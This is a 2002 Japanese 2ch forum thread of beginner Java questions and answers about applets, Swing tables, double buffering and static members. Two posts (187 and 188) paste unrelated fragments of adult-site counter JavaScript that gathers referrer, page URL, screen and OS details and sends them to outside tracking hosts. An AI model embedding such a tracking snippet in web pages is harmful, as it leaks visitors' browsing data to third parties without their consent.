そのページはただのいたずらページだから関係ないんと違うか。多分それ
とは別に madoka が入りこんだんだろう。セキュ板逝け。
127106:02/02/08 15:37
皆さんありがとうございます。
>114
どこかにプールしておく、というのはStaticなクラスを作るという
事でしょうか?(すみません、まだ自作コードも書く段階にないです・・・
検索ツールのように、クライアントが入力した値を元に、SQLを作成
する場合はどうなるのでしょう。入力した値をばらしてSQLに変換する
と思うのですが、Where句は可変なので、その場で生成ですよね。
となると、可変じゃない部分をあらかじめ何かでプールしておいて、
必要に応じて継ぎ合わせをするのでしょうか?で、どうやって
継ぎ合わせをするんだろう・・・(PrintLnで+でつないでいるのしか
知らないレベルです)
あまりにも初心者で申し訳ありません・・・

>115
なるほど〜ただdllをインストールというのは、配布する時に大変なので
いやがられちゃうんです・・・

>120
分かりました!(お詳しいですね〜これは常識なんでしょうか?
128デフォルトの名無しさん:02/02/08 21:34
SDK 1.3が普及したころからJavaを使い始めたのですが、
新しいバージョンのJavaが普及するには(つまり今度の1.4が
一般的になる)大体どの位の期間がかかるものなのでしょう。

どの時点で普及したと判断するかによると思うのですが、
1.3の時の経験と予想をふまえたザックリとしたお答えを
希望。
129  :02/02/08 22:30
テキストエディタで.javaのデータを作ったものの
コンパイルの仕方がわかりません。フリーソフトで
できるんですか。どんなソフトがいいんですか。
そのあとなにすればいいですか。
ですか君ですみません。
sunのHPでJDKをおとしてインストール。
まずはそこからだ。
131ほげほげ:02/02/08 22:38
>>129
ここでJava2SDKv1.3.1_02をダウンロードできます。
http://java.sun.com/j2se/1.3/ja/download-windows.html

インストールしたら、PATHを通す必要があります。
PATHを通したら、javacコマンドで.javaファイルをコンパイルします。
その後、javaコマンドで実行して見てください。

とても初歩的なことなので、検索すればやり方が書いてあるページが
色々と出てくるはずです。頑張ってください。
132129 :02/02/08 22:41
ありがとうございます。
いろいろDLしたのですが、リンク切れが多くて。
何のことだかさっぱりだったので。
133デフォルトの名無しさん:02/02/09 01:07
JTableって・・・
DefaultColumnModel使って、AUTO_COLUMN_SIZE_OFFに設定してるというのに
addColumn()すると
マウスで調整した列幅が全部、最初のperformedSizeになっちゃうんだね〜

JTableのaddColumn()ソースを追ってくとなんか一旦カラムを全部removeして一から作り直してる模様・・
これってありか!?

カラム幅を変えずに新たにaddColumn()する方法知ってる人いたら教えてください!
俺にはDefaultTableModelを継承してaddColumn()をオーバーライドしてうまくやる方法しか思い浮かばんけど。。これってめんどいよね・・

>>128
自分も1.3が出た頃にJavaはじめたんだけど年1回バージョンアップしてるから普及を待つ必要ないでしょう
1.3の時は出てすぐに書店は1.3一色になったし
そういう意味では出ればすぐ普及するって感じかな?

前はIEで使えるようになる=普及するって感じだったけど今はサポートしてないしね・・
134 :02/02/09 01:21
> 俺にはDefaultTableModelを継承してaddColumn()をオーバーライドしてうまくやる方法しか思い浮かばんけど。。これってめんどいよね・・

model放っておいてviewだけカラム増やしたいと仰るなら
確かにそういう場合にはだとめんどいよね。
そうなんすか?

135デフォルトの名無しさん:02/02/09 01:40
>>134
??いや、modelにも反映させます(viewだけカラムを増やすのか?という意味ですよね?)

面倒というのはDefaultTableModelとJTableとの関係を調べないとちゃんと実装できないだろーなぁ
って思うからです。

DefaultTableModelがaddColumn()すると
一旦全カラムをremoveして自身がもつ実データで列を生成しなおして
イベントを放っています。
そのイベントをJTableが受けて表示するにあたってどのように動いているのか
厳密に調査しないと適切な設計すら出来ないと思うんですが、JTableは色々なクラスが絡み合って難しいですね

一応JTableにaddColumn()して
1.列幅をちゃんと覚えている
2.選択情報をちゃんと覚えている
が実現できればよいのですが。。

というか、これって当たり前に出来るべきじゃない!?
まさかこれのためにソースコードを解析するはめになるとは・・・(;_;)
136デフォルトの名無しさん:02/02/09 02:39
最近javaを勉強し始めたのですが、
javaで、一度コンパイルして作成されたclassファイルを
別な〜.javaファイルで使用するにはどうしたらいいんでしょうか?

━━━━━━━━━━━━ソースコード━━
import sample01.*;
import java.lang.*;

public class sample02{
public static void main(String args[]){
sample01.main();
}
}
━━━━━━━━━━━━━━━━━━━━

既にコンパイルして、実行も出来るsample01.classを
sample02.javaから実行しようと思ってます。
Cなどで言う#includeみたいな感じで考えていたんですが・・・。

どなたか、教えて下さい。
※ Java2SDKv1.3.1_02 を使って、98SEのDOS風呂からいじってます。
137デフォルトの名無しさん:02/02/09 02:47
>>135
Modelを自作するしかねえべ。

1.カラムのリサイズイベントを拾っておいて、リサイズ後のそれぞれの
 カラムサイズを一時記憶しておく(デフォルトでは推奨サイズで初期化
 しておく)ためのフィールドを追加した、サブクラスを作る。
2.リサイズのイベントを拾って、変更後カラムのサイズをそのフィールド
 に記録する。(選択情報も選択業変更イベントのリスナーでハンドルして
 記録しておくようにする。)
3.addColumn()などを行うタイミングで、記録しておいたデータをもとに、
 カラム追加などを行った後のテーブルに対して、自力でリサイズや行選択
 などを行ってやる。
 (ロジックに気をつけないと、この作業自体を1.2.で拾うイベントだと
 ロジックが認識してしまって、永久ループになることがあるので注意)

以上。
138烏龍茶:02/02/09 02:59
>>136
コマンドライン引数もまったく同じなら↓で良いのでは

public static void main(String[] args){
  sample01.main(args);
}
139136:02/02/09 03:26
>>138 烏龍茶さん
できました!
教えてもらったとおり引数を与えたら無事に実行できました。
mainの引数は、使わなくても(?) String[] args と深く考えず書いていたので
あまり意識してませんでした・・・
ありがとうございます。
>133

むかーし(JDK1.2)同じように悩んで結局
ColumnModelでカラム全削除
DefaultTableModelのsetColumnIdentifiers()で新しいカラム名設定
ColumnModelのgetColumn()でTableColumnを引っ張り出しそれぞれの属性設定
最後にJTableのsizeColumnsToFit(-1)をぶちかます
でカラムのサイズ保持がうまくいったことがあります。
ただ、カラム追加時はテーブルクリアするという仕様に(無理やり)しましたが
(だって値を保持したままカラム追加するの面倒そうだったんだもの)
この問題がクリアできればご要望の機能が実現できるんですがねぇ
なにかの参考になれば
141デフォルトの名無しさん:02/02/09 13:17
BDKってみんなよくつかってる?
142デフォルトの名無しさん:02/02/09 17:47
>>137
>>140

どうもありがとうございます!!140の方法を検討してだめだったら137を参考にModelを自作します、ありがとうございました。

ところでStarSuiteBeta(SUNのOffice)はオープンソースという噂を聞いたのですが
どこにソースリスト転がってるか知りませんか?
オープン版はOpenOfficeっていう名前で配布されてる
ttp://www.openoffice.org/dev_docs/source/latest_build/latest_build.html#source
im=createImage(100,100)とかとやって
imにせんやら文字やら書いた後、バックの色を
透過色にしてdrawimageしたいんですけど、どうすれば?
int fw = 640;
int fh = 480;
Graphics bg;
Image bi;

と宣言して、

bi = createImage(fw,fh);
bg = bi.getGraphics();

としたらbgがNullPointerExceptionとか言われたんだけど、何が悪い?
>>145
誰もがはまる部分だから気にするな。
>144
g.setComposite(java.awt.AlphaComposite.Src);
g.setPaint(new Color(0, 0, 0, 0));
g.fillRect(0, 0, width, height);
148144:02/02/09 23:24
>>147
これってGraphics2DだからGraphicsで線を書いたりしたら無効とか
になります?
RGB(0,0,0)部分が透明になりませぬ
>144
createImageで作ったBufferedImageは
アルファ値もってないよ。
150144:02/02/09 23:52
というと、アプレットじゃ無理と?
たしかBufferedImageってつかえなかったような
151デフォルトの名無しさん:02/02/09 23:56
1.4の正式リリースっていつくらいでしょうか?
152デフォルトの名無しさん:02/02/09 23:57
>>150
BufferedImageはJDK1.2からだからねえ。
>>151
明日
154デフォルトの名無しさん:02/02/10 00:14
>153
ありがとうございます。
じゃあ、明日まで待ちます。
155デフォルトの名無しさん:02/02/10 00:15
>>153
もう明日になったな。
>>154
ネタニ マジレス?
大体時刻が 23:59 だし…
157154:02/02/10 00:31
マジナワケナイデショ。
「servletは、通常どのクラスから継承しますか。」(excite翻訳)
ってわかりますでしょうか。
ある無料レンタルスペース(海外)を借りるためには、
それに答えないといけないらしく・・・。
PHPが使いたいだけなんですけどね(;´д`)

原文はこんなのです↓
Which class does a servlet usually inherit from?
Fully-qualified classname:*
(e.g. "java.lang.Thread")

これを機にJAVAでも勉強してみるべきか(´д`)
よろしくお願いします。
159烏龍茶:02/02/10 03:32
>>158
何かと思ったら無料スペース借りるのに試験みたいなのがあるわけ?

javax.servlet.http.HttpServlet
>>159
うわー、やっと登録できた(喜)

元々はサーブレットの勉強用に設立されたものらしいです。
が、PHPも使えるのですよ。で、広告表示義務が無し。(ここ、大きい)
htmlの表記に拘ったphpスクリプトを
配布する予定で欲しかったものなのです(^^;

どうも、ありがとうございました。
161デフォルトの名無しさん:02/02/10 05:09
初心者質問デース

http://www.infonet.co.jp/ueyama/ip/java/paint.java
これをコンパイルすると
paint.javaは推奨されないAPIを使用、またはオーバーライドしています。
とでてきます。解決方法がわからんっす。
162デフォルトの名無しさん:02/02/10 05:12
JAVAのネット接続ってデータが改変されてしまうこと無いですか?
EUCのレ=「EC A5」、約=「F3 3C」などをHTTPで読み込むと、
「3F」に置き換わってしまいます。有名な話なんでしょうか?
対処法お願いします。
163161:02/02/10 05:43
ひょっとしてヴァージョンがjdk1.1のソースだから駄目ってことかな・・・?
164ほげほげ:02/02/10 05:49
>>161
コンパイル時に、javacに-deprecationオプションをつければ
推奨されないメソッドとは何かが表示されます。
165161:02/02/10 06:01
>>164
なんかわかりました。ソースファイルで使ってるメソッドが古いっぽいです。
166 :02/02/10 06:11
Forte for Javaって使ってます?
登録がジャマくさいんだけど
登録までして使う価値あります?
167 :02/02/10 06:28
>>166
入れてみたけど、よくわかんない(^-^;
まだマニュアル読んでないからネー

でも、JBuilderは重すぎたけど、Forteはそれほどではない気が・・・
168 :02/02/10 06:41
>>167
ちゃんとマジメに入力したの?
適当?
169烏龍茶:02/02/10 06:57
>>162
Java は認識できない文字を '?' (0x3F) に置き換える。
バイナリの読み出し時か変換時に EUC_JP を指定していないと思われ。
ちなみに '?' の置き換えは JDK1.4 からプログラマブルになった。
170167:02/02/10 07:20
>>168
登録はちゃんとしましたよ。(^-^)
171 :02/02/10 07:26
>>170
漏れも試してみることにするよ
172 :02/02/10 07:54
sun.co.jpで日本語の資料でも
って思ったら9:00までオチトル・・・
WAR って普通に読んだら「ウォ〜」だよね。
でも TAR 「タ〜」や JAR 「ジャ〜」を知ってる人は「ワ〜」だよね。
どっちが正しい?
ついでにケツ上がり読み? アタマ上がり読み?
174大学で困ってるボク:02/02/10 09:21
超初心者です!大学で習ってるけど、よくわかりません。こんなボクに
オススメ!の開発ソフトはどれですか?
Windows 2000 + JDK 1.3 + メモ帳 + google
176デフォルトの名無しさん:02/02/10 12:07
JAVA開発環境 "eclipse" is COOL!!
http://pc.2ch.net/test/read.cgi/tech/1013268002/59

>初心者だと思うので、アドバイスをしておくと
>まず、C言語の(関数)ポインタを理解しなさい。
>でもって、Java言語はどういう仕組みで動いているか
>(オーバーライドとか、継承とか)を理解しなさい。

前橋氏のJava本を読んで自分はJavaについてなにもわかってない、
ってのがわかりました。

Javaはどういう仕組みで動いているかなんてのはやっぱVM仕様書
みたいなのを読めばいいんですか?
(理解できるもんなら理解したいので)
JPopupMenuが他のPanelやCanvasに隠れて使い物にならないんだけど、
なんとかならんの?
178烏龍茶:02/02/10 12:46
>>176
関数ポインタ分からないのに VM 仕様読んでもしょうがない
(元アセ屋とかなら別かもしれんが)。オーバーライドとか
継承とかの仕組みを理解したいなら (長い道になるだろう
けど) C++ を薦める。ぶっちゃけた話、継承やオーバー
ライドは構造体と関数ポインタの合わせ技だし。
179177:02/02/10 13:15
自己レス。
SwingとCanvasの相性が悪いらしいからJComponentにして解決。

ちゅかさ、正直、Swingって何か得することあるの?
180烏龍茶:02/02/10 13:22
ツリーやリストは重宝するよ。
が、クソ重くなる諸刃の剣。
182大学で困ってるボク:02/02/10 14:56
なるほど
183ダブる ぶぁふぁりんぐぅ〜:02/02/10 14:56
スミマセン行き詰まりました。

Appletでダブルバッファリングしようと思っているのですが、
どうしてもnullpointerexceptionで怒られます。

いろんなサイト覗いても、平然と普通に使ってられるのですが、
私のプログラムはうまく行きません。

実験内容
private Image offscreen;
private Graphics offgraph;
で、
a) this.offscreen = this.createImage(this.dimension.width,this.dimension.height);
b) this.offgraph = this.offscreen.getGraphics();
をいろいろな位置においてみました。

initにa,bを入れる。
→java.lang.NullPointerException
at graphicstest.gApplet.init(gApplet.java:61)
at com.borland.jbuilder.runtime.applet.AppletTestbed.startApplet(Unknown Source)
at com.borland.jbuilder.runtime.applet.AppletTestbed.main(Unknown Source)

initにa、paintにb
→Exception occurred during event dispatching:
java.lang.NullPointerException
at graphicstest.gApplet.paint(gApplet.java:84)
at sun.awt.RepaintArea.paint(RepaintArea.java:298)
at sun.awt.windows.WComponentPeer.handleEvent(WComponentPeer.java:199)
at java.awt.Component.dispatchEventImpl(Component.java:2665)
at java.awt.Container.dispatchEventImpl(Container.java:1216)
at java.awt.Component.dispatchEvent(Component.java:2499)
at java.awt.EventQueue.dispatchEvent(EventQueue.java:336)
at java.awt.EventDispatchThread.pumpOneEventForHierarchy(EventDispatchThread.java:134)
at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:101)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:96)
at java.awt.EventDispatchThread.run(EventDispatchThread.java:88)
java.lang.NullPointerException
at graphicstest.gApplet.resetHand(gApplet.java:144)
at graphicstest.gApplet.access$1(gApplet.java:11)
at graphicstest.gApplet$1.run(gApplet.java:71)
※gAppletはAppletのサブクラス
ちなみにpaintにa,bどちらもやっても同じ。
184ダブる ぶぁふぁりんぐぅ〜:02/02/10 15:00
あっ、ちなみにinitにa,bのときの
at graphicstest.gApplet.init(gApplet.java:61)
はbのことです。
185烏龍茶:02/02/10 15:29
>>183
if(this.ofscreen == null){
  this.offscreen = this.createImage(this.dimension.width,this.dimension.height);
  this.offgraph = this.offscreen.getGraphics();
}

を paint() の一番最初に入れて見れ。
createImageは表示してからじゃないとダメだよ
187 :02/02/10 15:31
<!--ipt language="JavaScript"
<!--
rf=""+escape(document.referrer);
function isNotDefined(v) {return((v=="undefined")?true:false);}
if ((isNotDefined(rf)==true)||(rf=="")||(rf=="bookmarks")) {rf="Bookmark";}
else {wl=window.location.href;
if(wl.lastIndexOf('/')!=(wl.length-1)) {wl=wl+"/";}
tdr=document.referrer;
if(tdr.lastIndexOf('/')!=(tdr.length-1)) {tdr=tdr+"/";}
if(tdr==wl) {rf="na";}}
u="rf="+rf;
if(document.bgColor!=null) {
itag="<font color=\""+document.bgColor+"\" ";
} else {itag=""; }
itag=itag+"<img height='1' width='1' border='0' alt='' "+
"src=\"http://vis.sexlist.com:81/?TSLID=126570&"+u+"\" ";
if(document.bgColor!=null) {itag=itag+"</font ";}
document.write(itag+"\n");
//--
</scri-->
188 :02/02/10 15:38
</scri-->
<!--ipt language="JavaScript1.4"
<!--
_jvscrptvr=14;
// --
</scri-->
<!--ipt language="JavaScript"
<!--
function _addslasher(_strmdfctn){
if(_strmdfctn.lastIndexOf('/')!=(_strmdfctn.length-1)){
_strmdfctn=_strmdfctn+"/";
return (_strmdfctn)}}
_scrsz="na";_clrdpth="na";_jvenbl="na";_dttmp=new Date();_timehr=
_dttmp.getTimezoneOffset()/(-60);
_hrfprnt=""+escape(parent.document.referrer);
_pghrf=""+escape(window.location.href);
if((_hrfprnt=="undefined")||(_hrfprnt=="")){
_hrfprnt="na";
}else{
if(_addslasher(unescape(_hrfprnt))==_addslasher(unescape(_pghrf))) {_hrfprnt="na";}}
if(_jvscrptvr =11){_jvenbl=(navigator.javaEnabled()==true)?"JMen":"JMdis";}
if(_jvscrptvr =12){
_scrsz=screen.width+"x"+screen.height;
_clrdpth=(_nvgtrapn=="MSIE")?screen.colorDepth:screen.pixelDepth;
if(_clrdpth=="undefined"){_clrdpth="na";}}
_osprmstr = _osrtrnstr();
_nvgtrver = escape(_nvgtrapn + " " +(_nvgtrver/1000));
_prmstrng="&os="+_osprmstr+"&jv="+_jvscrptvr+"&an="+_nvgtrapn+"&av="+_nvgtrver+"&ss="
+_scrsz+"&cd="+_clrdpth+"&r="+_hrfprnt+"&je="+_jvenbl+"&tz="+_timehr+"&pg="+_pghrf;
_prmtag="<A HREF='http://adv.sexcounter.com/ad_page.html";
_prmtag+="?c=3000927&p=15&t=0&sr=0' target=_blank <img border=0 src='";
_prmtag+="http://66.181.160.130/counter.cgi?c=3000927&p=15";
_prmtag+="&t=0&sr=0"+_prmstrng+"' </a ";
document.write(_prmtag+"\n");
// --
</scri-->
189ダブる ぶぁふぁりんぐぅ〜:02/02/10 15:50
>>185

paintにいれたら直りました。ありがとうございます。
ただ、diminisionの値がおかしいらしく
this.offscreen = this.createImage(300,300);
ならできるのですが、
this.offscreen = this.createImage(this.dimension.width,this.dimension.height);
だとできません。
ためしにthis.dimension出力してみたのですが、
Java.awt.Dimension[width=0,height=0]
だそうです。これも
this.dimension = this.getSize();
をinitでやってるからでしょうか?

>>186
でも、よくあるサンプルを見ると
initでcreateImageしてますが、実際は
どこでcreateImageするのが正解なのですか?
190烏龍茶:02/02/10 16:22
>>189
> これも this.dimension = this.getSize(); をinitでやってる
> からでしょうか?
多分そうでしょう。AWT コンポーネントは何かのコンテナに追加される
までデバイスに依存する動きはできないはず。まぁ createImage() に
限らず getFont() なんかも addNotify() の中でやるのが正しいん
だろうけど、おれは paint() の一番最初でやってる。
init() の中で createImage() やってるのは… 実行環境が違うか勘
違いかどちらか。
191ダブる ぶぁふぁりんぐぅ〜:02/02/10 16:27
わっかりました。いろいろありがとう。
192烏龍茶:02/02/10 16:42
>>190
addNotify() の中でやるって言うのは、スーパークラスの addNotify() を
呼び出した後って事ね。これ忘れると表示されなかったりするから。

public void addNotify(){
  super.addNotify();   // ← 【重要】最初にやる
  // フォント関係の初期化とか
  // createImage とか…
  // あとなんかあったかな
  return;
}
193デフォルトの名無しさん:02/02/10 21:21
JTreeではnodeを開いたあとに、そのノードにノードを追加しても
表示に反映されません。どうも内部でキャッシュしているためのようですが
これを回避する方法は無いでしょうか?
setLargeModel(true)とやってみても効果ありませんでした。
194やる気マンマン:02/02/11 10:50
Javaの勉強を始めたいと思っています。 どうせ勉強するならゲームを題材に
覚えたいのですが、マウスやキー、グラフィック等、Javaでゲームに
特化した本って何か良いものありますか?
基本部分はWebで調べるので入門書でなくて良いです。
195デフォルトの名無しさん:02/02/11 10:56
>>194
他の言語の経験はあるの? 英語に自信はあるの?
どちらもないのなら、
>基本部分はWebで調べるので入門書でなくて良いです。
これはやめといたほうがいいと思うけどなぁ。
>194
自信あるならcore Java2 応用編でも見れ
ほっときゃいいのに…
まぁまぁ。
199やる気マンマン:02/02/11 11:26
>>195
他の言語はCでブロック崩しとシューティングとストラテジーゲームを
作った経験があります。
C++は多少かじりましたが、あまりモノにしていません。

>>196
目次を見るとかなり書いてありそうですね。本屋で探してみます。

>>197
ほっとかれると寂しいです。HNはウザいですがお相手お願いします。
200デフォルトの名無しさん:02/02/11 11:29
ツールが安価で手に入りませんか?
追加>>200
激初心者です・・・自分・・
>>200
ダイクマ逝け。
ダーイナミック 
ダイクマァー
204デフォルトの名無しさん:02/02/11 12:46
Javaアプレットでの質問です。よろしくお願いします。
2次関数を一新するクラス、MAP()をinit()内で

MAP map = new MAP(this);
map.reload(0); //引数によって呼び出される二次関数の内容が変わる

としているのですが、init()外で新たに
map.reload(0);
としても動作せず、直前に再びMAP map = new MAP(this);と宣言すると
動作しました。
何度もコンストラクタが読み込まれるのは不都合なので改善したいのですが
どうしたら直前に宣言せずにMAP()のメソッドを呼び出せるのでしょうか。
205デフォルトの名無しさん:02/02/11 12:48
JAVAはもう駄目だと言う友人がいます。これからやろうと思ってるのに。
で、まだまだいけるんでしょうか?
>>205
その友人の莫迦さ加減に乾杯。
>>204
すまん、君の日本語通じてないわ
>>205
やりたくなけりゃやらなきゃ良いだけ。
それで誰も困ったりしない。
>>204
日本語はわかるんだが、
>2次関数を一新するクラス、MAP()をinit()内で
一新って何だ?
大前研一の一新塾(違)
ショートショートな小説家 (誤
212デふぉ204:02/02/11 15:03
>>209 すいません、中身を総入れ替えすると言う意味です。
>>204
mapをinit()の外で宣言すればいいとかそういう問題?
うん? つまりこういうことをやってたと?

public void init(){
  …
  MAP map = new MAP(this);
  map.reload(0);
  …
}

public void hoge(){
  …
  map.reload(0);
  …
}
215デふぉ204:02/02/11 16:38
>>214 はい
public void hoge(){
  …
※1
  map.reload(0);
  …
}
※1の所に再び MAP map = new MAP(this); と記述しないと
map.reload(1(引数は変える))しても二次関数の内容が変化しないのです。
reload()は、parent.mapNo[][]の内容を引数によって変化させるものです。
>>215
そりゃ、MAPのコンストラクタとreloadの実装が腐ってんだよ。
デバッグして欲しいなら、実装晒してみそ。
java.util.*をimportすれば漏れなくコンパイラからお叱りの声が...
という話はおいといて、
> そりゃ、MAPのコンストラクタとreloadの実装が腐ってんだよ。
同感。(まずは実装確認せんとなんも言えんが)
>>215
コンパイルエラーにならないところにおかしさが垣間見えるね・・・
つーかさ、MAPは何を継承してるの?parent.mapNo[][]を変えるって、
かなりおかしい気がするのだが。
219デふぉ204:02/02/11 20:39
すいません、晒させてもらいます。
public class MAP
{
eov parent;
public MAP(eov target)
{
parent = target;
}
void Reload(int area)
{
switch(area)
{
case 0:
...
parent.mapNo= new int[][]{/*二次関数が入る。32x32*/}
break;
case 1:
...
parent.mapNo= new int[][]{/*上と異なる二次関数が入る。24,24*/}
break;
}}}
本当にこれだけで、変数への値の代入しか略してません。
ちょっと待て…

リロードした後の二次関数とやらを呼ぶのに、もしかしてMAPに参照が格納されて
いるのではないeovインスタンスからコールしてんじゃないか?
つうか、なんでreloadがeovのメソッドじゃないの?

関係ないクラスのメンバフィールドを直接書き換えている時点で、
かなり腐ってるソース決定。
悪いこといわないから、こうしとけ。
eov自身のほかの実装はそのままでいいよ。

class eov{
 //追加する変数
 private int[][] mapNo;
 private static int[][] mapNoDefault = new int[24][24];
 private static int[][] mapNoA = new int[32][32];
 public eov(){
  //もともとの実装
  mapNo =mapNoDefault;
 }
 public reload(int type){
  switch(type){
   case 0:
    mapNo = mapNoDefault;
    break;
   case 1:
    mapNo = mapNoA;
    break;
  }
 }
 public int[][] getMapNo(){return mapNo;}
}
222デフォルトの名無しさん:02/02/12 01:17
誰か教えて。
よく、待ちのときにカーソルが変わるじゃない。となりに
砂時計がでてきて。あれをやりたいんです。
で、そのカーソルってでふぉであると思うんだけど、
切り替えの条件をどうやって指定するのかわかりません。
おしえてくだっさい。
>>222
java.awt.Component#setCursor(java.awt.Cursor)
ロード開始する直前でカーソル変えて、終わったらもとに戻せ。
そこは自力で実装せよ。
224222:02/02/12 02:33
>223
そこがわかんないんだよ。ヒントください。
225勉強始めたばかり:02/02/12 03:49
Jビルダーという開発ソフトがデファクトスタンダードだというのは
ホントでしょうか?
うーん、そうかもしれない。
つうか DOS 窓で JDK 使えるんだったら何使っても同じだよ。
Eclipse の軽さにはさすがにびびったけど。
>>222
なんだその言い草は。そこは自分でコードかいてんじゃないのか?
その処理の直前と直後でやりゃいいだけじゃん。Componentインスタンスの
参照とって来るのは、アンタのプログラム読まないと無理だから、自分で
やりやがれ。
まぁまぁ。
でも >>222 ももうちょっと礼儀正しい文章書かないと答えてくれる
人、いなくなるよ。

砂時計カーソル出したい所にこれを書いとけ

this.setCursor(Cursor.WAIT_CURSOR);
229222:02/02/12 06:16
>227 >228
そうなんですよ。
JFileChooser使って、ファイルの数が多かったりすると、窓にファイルが
表示されっるまでに間がありますよね?そのかん、カーソルを変えたいわけで、
それを判断する方法を教えて欲しいんです。
ファイルダイアログが表示されたら砂時計を元に戻すのか?
ComponentListener 実装クラスを作って componentShown()
の中にカーソルを元に戻す処理を書く、JFileChooser の
addComponentListener でそれを登録、ダイアログ表示直前
にカーソルを砂時計に変える。

ほんとにこれで出来るかはやってみれ。
231デフォルトの名無しさん:02/02/12 06:43
ドキュソ質問です。

パブリックなクラスは必ずファイル名と一緒にしなければなりませんか?
一つのファイルにはパブリックなクラスは一つだけとなりますか?
コンパイラに注意されたんですが・・・
>>231
はい。

# public な inner クラスは例外。
233デフォルトの名無しさん:02/02/12 11:55
初心者の質問ですみません。

プログラムによく//と {}が出てくるんですが
これらの意味を教えて下さい。
質問する前に最低限の入門書くらい読んでくれよ… (;´д`)
「//」 はコメントだと思われる。
>>233
ワロタ
237デフォルトの名無しさん:02/02/12 12:02
>>234
そのまま意味も知らずに受け入れて書いてました・・・。
>>235
これから自分が書くコメントって事ですよね。

ありがとうございました。
>>237
微妙な表現にワロタ
239225:02/02/12 13:45
>>226
レスどうもです。
イベントの記述とかが楽なので、
このままJビルダーでがんばってみます。
ちょっと重いのが難ですけど。
軽いソフトも良いですね。
240  :02/02/12 14:34
インスタンスのコピーを行いたいのですが、clone()メソッドを実装して
いないクラスの場合、自分でクラスを拡張して、clone()を実行する。
でよいのでしょうか?

>239
JBuilderになれすぎると
0からコードかくとき
???ってならない?
242デフォルトの名無しさん:02/02/12 16:11
>>240
それでいいんだけど、細かく言えば、Cloneableをインプリメントして
必要ならclone()メソッドを実装する。
clone()メソッドを実装する場合は、その内で、まずsuper.clone()を
呼び出すことを忘れずに。
super.clone()は、たいていの場合、Objectのclone()を呼び出すから、
プリミティブやStringなどはこれでOKだが(ていうか、それらだけなら
clone()を実装する必要はなく、Cloneableをインプリメントするだけ
でよい)、オブジェクトの参照は、参照がコピーされるだけなので、その
ままでは元のオブジェクトとクローンされたオブジェクトで、同じ参照
をもってしまう。これはまずいので、clone()メソッドを実装して、そこで
これらの参照が別のコピーされたオブジェクトを指すようにする。
ま、頑張って。
243drawString途中で色変更可能?:02/02/12 17:54
drawStringでAppletに文字列を描写しているのだけれど、

「2月12日(火曜日)」

の「(火曜日)」を別の色にしたいのですが、
別のdrawStringに書くと、始まりのx座標がわかりません。
そこで

・drawString途中で色変更可能ですか?(多分無理?)
・「(火曜日)」の始まりのx座標はどうやって求めれば良いのですか?
 それか、どこかに変数として保持できますか?

とにかく、普通のAPI仕様で行きたいのですが(Swing等不可)
何か良い手はないですか?
244烏龍茶:02/02/12 18:25
>>243
たしかこんなん

FontMetrics fm = g.getFontMetrics();
int w = fm.charWidth("2月12日");
int h = fm.getHeight();
g.drawString(0, h, "2月12日");
g.setColor(Color.red);
g.drawString(w, h, "(火曜日)");
245243:02/02/12 18:46
>>烏龍茶さん

いつもありがとうございます。
なるほどFontMetricsですか!

PS 調べてみたんですが、
int w = fm.charWidth("2月12日");ではなくて
int w = fm.stringWidth("2月12日");のようです。

・public int charWidth(char ch)
・public int stringWidth(String str)
ちなみに文字配列(JAVAで使うことあんのか?)の場合は
・public int charsWidth(char[] data,
            int off,
            int len)
こんにちは。
APIはだいたい分かるんですけど、COMもちょっとわかるんですけど、
ジャバアプレットのエディットコントロールのウィンドウハンドル
を取ってテキスト取ったりそこに書き込んだりするところで
躓きました。
MSAWT_Comp_Classあたりから教えてくれませんか?

はああああああああ?????
>>246
それなに?
未だにstaticの意味が分からない...。
よく、staticで無い〜をstaticコンテキストから参照することはできません、
て言われるんだけど、どういう意味ですか?
読んで字のごとく
>>249
コンテキスト:文脈
staticでないメンバ変数やメソッドを
staticなメソッドからは参照できないといういみ。
いつも思うんだけどさ、Java で Context って言った時に「文脈」って
表現するの変じゃない? AppletContext とか ServletContext って
「文脈」というより「環境」のほうが意味的にしっくり来るんだけど。
「文脈」すげーキモイ
この場合のコンテキストは文脈でいいのでは?
ServletContextなら環境でいいと思う。
254デフォルトの名無しさん:02/02/12 23:06
SwingのGUIを手軽に作れる「重たくない」フリーのツールなぞこの世にありますか?
あれば教えてください。

 環境はセレロンマシンの64MB、winマシンです。
255デフォルトの名無しさん:02/02/12 23:14
入力された文字列に2バイトが含まれているかを解析する一番簡単な方法って何ですか?
256256 GET:02/02/12 23:23
>>255
超適当

if(ch < 0x100) System.out.println("半角");
else       System.out.println("全角");

半角カナは自分で調べれ。
Dialogについて質問。
Dialogが出てる間は親フレームは止まるってどこかに書いてあったけど、
これってどういうこと?

・Dialogを表示する
・Dialogでどっちかのボタンを押す
・押されたボタンによってその後の処理の流れを変える

みたいなことをメソッド1個の中に書けるってことですか?
>255
文字列のバイト数とStringのlength()を比べるというのはどうだろう
259デフォルトの名無しさん:02/02/13 00:10
全く同じ設定のレイアウトをいくつもの画面で使用したい場合は、
1個だけレイアウトマネージャのインスタンスを用意して、複数の
パネルで使い回した方がいいですか?
>>259
GUI関係のクラスインスタンスの使いまわしは、予測できない間抜けな事態に
なることが多いので、やめたほうがいいよ。
261256:02/02/13 00:43
>>258
あ、質問聞き違えてた。こうか:

if(str.length() < str.getBytes()){
  System.out.println("全角はいってまっせ");
}
262デフォルトの名無しさん:02/02/13 02:57
Forte for Javaのこと初心者向けに書いてある
webご存知ありませんか?
str.getBytes().length
264デフォルトの名無しさん:02/02/13 06:07
JDKでAppletのDebugはどうやりますか?
JTabbedPaneとJListを入れたJPanelに
setSize(w,h)やってもサイズが変わらないんだけど、バグ?
266デフォルトの名無しさん:02/02/13 08:52
>>249

まじめに答えよう!?
普通、クラスのフィールド(メンバ変数)の値を取り出すには、
newして、インスタンスをつくりそのインスタンスのフィールド
の値を取ってこなければならない。(instance.field)
それに対してstaticは、newするまでもなく、クラスのフィールドを
直接参照できる(class.field)

たとえば
public class Daigakusei{
public boolean isAfo;
public static boolean isKichigai;
public Daigakusei(boolean Afo_or_not){
if(!Afo_or_not){
this.isAfo = false;
}
else{this.isAfo =true;}
}
}

というクラスがあり、どこかで
if( Daigakusei.isKichigai){
g.drawString("でめぇは、キティガイだ。");
}
は、コンパイルは通るが、
if( Daigakusei.isAfo){
g.drawString("でめぇは、アフォだ。");
}
は、staticでないものを、クラスで参照しているから
コンパイラに怒られる。

しっかりDaigakusei No249 = new Daigakusei(true); //isAfo = truel;
しなくちゃね。

そのうえで、
if( No249.isAfo){
g.drawString("でめぇは、アフォだ。");
}
できます。
